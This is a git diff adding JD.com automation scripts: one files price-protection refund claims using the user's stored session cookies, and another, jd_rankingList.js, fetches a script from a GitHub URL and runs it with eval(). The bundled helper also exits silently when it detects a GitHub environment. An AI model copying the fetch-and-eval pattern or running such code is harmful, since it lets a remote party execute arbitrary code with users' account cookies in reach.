s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_price.js b/Task/jd_price.js
new file mode 100644
index 0000000..be3bcb1
--- /dev/null
+++ b/Task/jd_price.js
@@ -0,0 +1,557 @@
+/*
+京东保价
+京东 api 只能查询60天的订单
+保价期限是以物流签收时间为准的,30天是最长保价期。
+所以订单下单时间以及发货、收货时间,也可能占用很多天,60天内的订单进行保价是正常的。
+没进行过保价的60天内的订单。查询一次,不符合保价的,不会再次申请保价。
+支持云端cookie使用
+修改自:https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtect.js
+修改自:https://raw.githubusercontent.com/id77/QuantumultX/master/task/jdGuaranteedPrice.js
+
+京东保价页面脚本:https://static.360buyimg.com/siteppStatic/script/priceskus-phone.js
+iOS同时支持使用 NobyDa 与 domplin 脚本的京东 cookie
+活动时间:2021-2-14至2021-3-3
+活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html
+活动入口:京东保价
+已支持IOS双京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#京东保价
+0 2 * * * jd_price.js, tag=京东保价, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "0 2 * * *" script-path=jd_price.js,tag=京东保价
+
+===============Surge=================
+京东保价 = type=cron,cronexp="0 2 * * *",wake-system=1,timeout=3600,script-path=jd_price.js
+
+============小火箭=========
+京东保价 = type=cron,script-path=jd_price.js, cronexpr="0 2 * * *", timeout=3600, enable=true
+ */
+
+const $ = new Env('京东保价');
+
+const selfDomain = 'https://msitepp-fm.jd.com/';
+const unifiedGatewayName = 'https://api.m.jd.com/';
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+let cookiesArr = [];
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg(
+ $.name,
+ '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取',
+ 'https://bean.m.jd.com/',
+ {
+ 'open-url': 'https://bean.m.jd.com/',
+ }
+ );
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ $.cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(
+ $.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]
+ );
+ $.index = i + 1;
+ $.isLogin = false;
+ $.nickName = '';
+ await totalBean();
+ if (!$.isLogin) {
+ $.msg(
+ $.name,
+ `【提示】cookie已失效`,
+ `京东账号${$.index} ${
+ $.nickName || $.UserName
+ }\n请重新登录获取\nhttps://bean.m.jd.com/`,
+ {
+ 'open-url': 'https://bean.m.jd.com/',
+ }
+ );
+ continue;
+ }
+ console.log(
+ `\n***********开始【账号${$.index}】${
+ $.nickName || $.UserName
+ }********\n`
+ );
+ try {
+ $.hasNext = true;
+ $.refundtotalamount = 0;
+ $.orderList = new Array();
+ $.applyMap = {};
+ // TODO
+ $.token = '';
+ $.feSt = 'f';
+ console.log(`💥 获得首页面,解析超参数`);
+ await getHyperParams();
+ // console.log($.HyperParam)
+ console.log(`----------`);
+ console.log(`🧾 获取所有价格保护列表,排除附件商品`);
+ for (let page = 1; $.hasNext; page++) {
+ await getApplyData(page);
+ }
+ console.log(`----------`);
+ console.log(`🗑 删除不符合订单`);
+ console.log(`----------`);
+ let taskList = [];
+ for (let order of $.orderList) {
+ taskList.push(historyResultQuery(order));
+ }
+ await Promise.all(taskList);
+ console.log(`----------`);
+ console.log(`📊 ${$.orderList.length}个商品即将申请价格保护!`);
+ console.log(`----------`);
+ for (let order of $.orderList) {
+ await skuApply(order);
+ await $.wait(300);
+ }
+ console.log(`----------`);
+ console.log(`⏳ 等待申请价格保护结果...`);
+ console.log(`----------`);
+ for (let i = 1; i <= 30 && Object.keys($.applyMap).length > 0; i++) {
+ await $.wait(1000);
+ if (i % 5 == 0) {
+ await getApplyResult();
+ }
+ }
+ showMsg();
+ } catch (e) {
+ $.logErr(e)
+ }
+ }
+ }
+})()
+ .catch((e) => {
+ console.log(`❗️ ${$.name} 运行错误!\n${e}`);
+ })
+ .finally(() => $.done());
+
+const getValueById = function (text, id) {
+ try {
+ const reg = new RegExp(`id="${id}".*value="(.*?)"`);
+ const res = text.match(reg);
+ return res[1];
+ } catch (e) {
+ throw new Error(`getValueById:${id} err`);
+ }
+};
+
+function getHyperParams() {
+ return new Promise((resolve, reject) => {
+ const options = {
+ url: 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu',
+ headers: {
+ Host: 'msitepp-fm.jd.com',
+ Accept:
+ 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
+ Connection: 'keep-alive',
+ Cookie: $.cookie,
+ 'User-Agent':
+ 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1',
+ 'Accept-Language': 'zh-cn',
+ Referer: 'https://ihelp.jd.com/',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ },
+ };
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) throw new Error(JSON.stringify(err));
+ $.HyperParam = {
+ sid_hid: getValueById(data, 'sid_hid'),
+ type_hid: getValueById(data, 'type_hid'),
+ isLoadLastPropriceRecord: getValueById(
+ data,
+ 'isLoadLastPropriceRecord'
+ ),
+ isLoadSkuPrice: getValueById(data, 'isLoadSkuPrice'),
+ RefundType_Orderid_Repeater_hid: getValueById(
+ data,
+ 'RefundType_Orderid_Repeater_hid'
+ ),
+ isAlertSuccessTip: getValueById(data, 'isAlertSuccessTip'),
+ forcebot: getValueById(data, 'forcebot'),
+ useColorApi: getValueById(data, 'useColorApi'),
+ };
+ } catch (e) {
+ reject(
+ `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(
+ data
+ )}`
+ );
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+
+function getApplyData(page) {
+ return new Promise((resolve, reject) => {
+ $.hasNext = false;
+ const { sid_hid, type_hid, forcebot } = $.HyperParam;
+ const pageSize = 5;
+
+ let paramObj = {
+ page,
+ pageSize,
+ keyWords: '',
+ sid: sid_hid,
+ type: type_hid,
+ forcebot,
+ token: $.token,
+ feSt: $.feSt,
+ };
+
+ $.post(taskUrl('siteppM_priceskusPull', paramObj), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(
+ `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(
+ err
+ )}`
+ );
+ } else {
+ let pageErrorVal = data.match(
+ /id="pageError_\d+" name="pageError_\d+" value="(.*?)"/
+ )[1];
+ if (pageErrorVal == 'noexception') {
+ let pageDatasSize = eval(
+ data.match(
+ /id="pageSize_\d+" name="pageSize_\d+" value="(.*?)"/
+ )[1]
+ );
+ $.hasNext = pageDatasSize >= pageSize;
+ let orders = [...data.matchAll(/skuApply\((.*?)\)/g)];
+ let titles = [...data.matchAll(/(.*?)<\/p>/g)];
+ for (let i = 0; i < orders.length; i++) {
+ let info = orders[i][1].split(',');
+ if (info.length != 4) {
+ throw new Error(`价格保护 ${order[1]}.length != 4`);
+ }
+ const item = {
+ orderId: eval(info[0]),
+ skuId: eval(info[1]),
+ sequence: eval(info[2]),
+ orderCategory: eval(info[3]),
+ title: `🛒${titles[i][1].substr(0, 15)}🛒`,
+ };
+ let id = `skuprice_${item.orderId}_${item.skuId}_${item.sequence}`;
+ let reg = new RegExp(`${id}.*?isfujian="(.*?)"`);
+ isfujian = data.match(reg)[1];
+ if (isfujian == 'false') {
+ let skuRefundTypeDiv_orderId = `skuRefundTypeDiv_${item.orderId}`;
+ item['refundtype'] = getValueById(
+ data,
+ skuRefundTypeDiv_orderId
+ );
+ // 设置原路返还
+ if (item.refundtype === '2') item.refundtype = '1';
+ $.orderList.push(item);
+ }
+ //else...尊敬的顾客您好,您选择的商品本身为赠品,是不支持价保的呦,请您理解。
+ }
+ }
+ }
+ } catch (e) {
+ reject(
+ `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(
+ data
+ )}`
+ );
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+
+// 申请按钮
+function skuApply(order) {
+ return new Promise((resolve, reject) => {
+ const { orderId, orderCategory, skuId, refundtype } = order;
+ const { sid_hid, type_hid, forcebot } = $.HyperParam;
+
+ let paramObj = {
+ orderId,
+ orderCategory,
+ skuId,
+ sid: sid_hid,
+ type: type_hid,
+ refundtype,
+ forcebot,
+ token: $.token,
+ feSt: $.feSt,
+ };
+
+ console.log(`🈸 ${order.title}`);
+ $.post(taskUrl('siteppM_proApply', paramObj), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(
+ `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(
+ err
+ )}`
+ );
+ } else {
+ data = JSON.parse(data);
+ if (data.flag) {
+ if (data.proSkuApplyId != null) {
+ $.applyMap[data.proSkuApplyId[0]] = order;
+ }
+ } else {
+ console.log(`🚫 ${order.title} 申请失败:${data.errorMessage}`);
+ }
+ }
+ } catch (e) {
+ reject(
+ `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(
+ data
+ )}`
+ );
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+
+// 历史结果查询
+function historyResultQuery(order) {
+ return new Promise((resolve, reject) => {
+ const { orderId, sequence, skuId } = order;
+ const { sid_hid, type_hid, forcebot } = $.HyperParam;
+
+ let paramObj = {
+ orderId,
+ skuId,
+ sequence,
+ sid: sid_hid,
+ type: type_hid,
+ pin: undefined,
+ forcebot,
+ };
+
+ const reg = new RegExp(
+ 'overTime|[^库]不支持价保|无法申请价保|请用原订单申请'
+ );
+ let deleted = true;
+ $.post(taskUrl('siteppM_skuProResultPin', paramObj), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(
+ `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(
+ err
+ )}`
+ );
+ } else {
+ deleted = reg.test(data);
+ }
+ } catch (e) {
+ reject(
+ `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(
+ data
+ )}`
+ );
+ } finally {
+ if (deleted) {
+ console.log(`🚫 删除商品:${order.title}`);
+ $.orderList = $.orderList.filter((item) => {
+ return item.orderId != order.orderId || item.skuId != order.skuId;
+ });
+ }
+ resolve();
+ }
+ });
+ });
+}
+
+function getApplyResult() {
+ function handleApplyResult(ajaxResultObj) {
+ if (
+ ajaxResultObj.hasResult != 'undefined' &&
+ ajaxResultObj.hasResult == true
+ ) {
+ //有结果了
+ let proSkuApplyId = ajaxResultObj.applyResultVo.proSkuApplyId; //申请id
+ let order = $.applyMap[proSkuApplyId];
+ delete $.applyMap[proSkuApplyId];
+ if (ajaxResultObj.applyResultVo.proApplyStatus == 'ApplySuccess') {
+ //价保成功
+ $.refundtotalamount += ajaxResultObj.applyResultVo.refundtotalamount;
+ console.log(
+ `📋 ${order.title} \n🟢 申请成功:¥${$.refundtotalamount}`
+ );
+ console.log(`-----`);
+ } else {
+ console.log(
+ `📋 ${order.title} \n🔴 申请失败:${ajaxResultObj.applyResultVo.failTypeStr} \n🔴 失败类型:${ajaxResultObj.applyResultVo.failType}`
+ );
+ console.log(`-----`);
+ }
+ }
+ }
+ return new Promise((resolve, reject) => {
+ let proSkuApplyIds = Object.keys($.applyMap).join(',');
+ const { pin, type_hid } = $.HyperParam;
+
+ let paramObj = {
+ proSkuApplyIds,
+ pin,
+ type: type_hid,
+ };
+
+ $.post(taskUrl('siteppM_moreApplyResult', paramObj), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(
+ `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(
+ err
+ )}`
+ );
+ } else if (data) {
+ data = JSON.parse(data);
+ let resultArray = data.applyResults;
+ for (let i = 0; i < resultArray.length; i++) {
+ let ajaxResultObj = resultArray[i];
+ handleApplyResult(ajaxResultObj);
+ }
+ }
+ } catch (e) {
+ reject(
+ `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(
+ data
+ )}`
+ );
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+
+function taskUrl(functionid, body) {
+ let urlStr = selfDomain + 'rest/priceprophone/priceskusPull';
+ const { useColorApi, forcebot } = $.HyperParam;
+
+ if (useColorApi == 'true') {
+ urlStr =
+ unifiedGatewayName +
+ 'api?appid=siteppM&functionId=' +
+ functionid +
+ '&forcebot=' +
+ forcebot +
+ '&t=' +
+ new Date().getTime();
+ }
+ return {
+ url: urlStr,
+ headers: {
+ Host: useColorApi == 'true' ? 'api.m.jd.com' : 'msitepp-fm.jd.com',
+ Accept: '*/*',
+ 'Accept-Language': 'zh-cn',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ Origin: 'https://msitepp-fm.jd.com',
+ Connection: 'keep-alive',
+ Referer: 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu',
+ 'User-Agent':
+ 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1',
+ Cookie: $.cookie,
+ },
+ body: body ? `body=${JSON.stringify(body)}` : undefined,
+ };
+}
+
+function showMsg() {
+ console.log(`🧮 本次价格保护金额:${$.refundtotalamount}💰`);
+ if ($.refundtotalamount) {
+ $.msg(
+ $.name,
+ ``,
+ `京东账号${$.index} ${$.nickName || $.UserName}\n🎉 本次价格保护金额:${
+ $.refundtotalamount
+ }💰`,
+ {
+ 'open-url':
+ 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu',
+ }
+ );
+ }
+}
+
+function totalBean() {
+ return new Promise((resolve) => {
+ const options = {
+ url: `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ headers: {
+ Accept: 'application/json,text/plain, */*',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ 'Accept-Encoding': 'gzip, deflate, br',
+ 'Accept-Language': 'zh-cn',
+ Connection: 'keep-alive',
+ Cookie: $.cookie,
+ Referer: 'https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2',
+ 'User-Agent':
+ 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1',
+ },
+ };
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`);
+ console.log(`${$.name} API请求失败,请检查网路重试`);
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ return;
+ }
+ $.isLogin = true;
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve();
+ }
+ });
+ });
+}
+
+function jsonParse(str) {
+ if (typeof str == 'string') {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg(
+ $.name,
+ '',
+ '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie'
+ );
+ return [];
+ }
+ }
+}
+// https://github.com/chavyleung/scripts/blob/master/Env.js
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_rankingList.js b/Task/jd_rankingList.js
new file mode 100644
index 0000000..07e6ecd
--- /dev/null
+++ b/Task/jd_rankingList.js
@@ -0,0 +1,60 @@
+/*
+
+活动入口:京东APP首页-更多频道-排行榜-悬浮按钮
+
+自用
+author:yangtingxiao
+github: https://github.com/yangtingxiao
+ */
+const $ = new Env('京东排行榜');
+main();
+async function main() {
+ $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_rankingList.js`}).then((resp) => {
+ if (resp.statusCode === 200) {
+ console.log(`${$.name}CDN缓存刷新成功`)
+ }
+ });
+ await updateShareCodes();
+ if (!$.body) await scriptsCDN();
+ if ($.body) {
+ eval($.body);
+ }
+}
+function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') {
+ return new Promise(resolve => {
+ $.get({url}, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ $.body = data;
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function scriptsCDN(url = 'https://raw.fastgit.org/yangtingxiao/QuantumultX/master/scripts/jd/jd_rankingList.js') {
+ return new Promise(resolve => {
+ $.get({url}, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ $.body = data;
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+
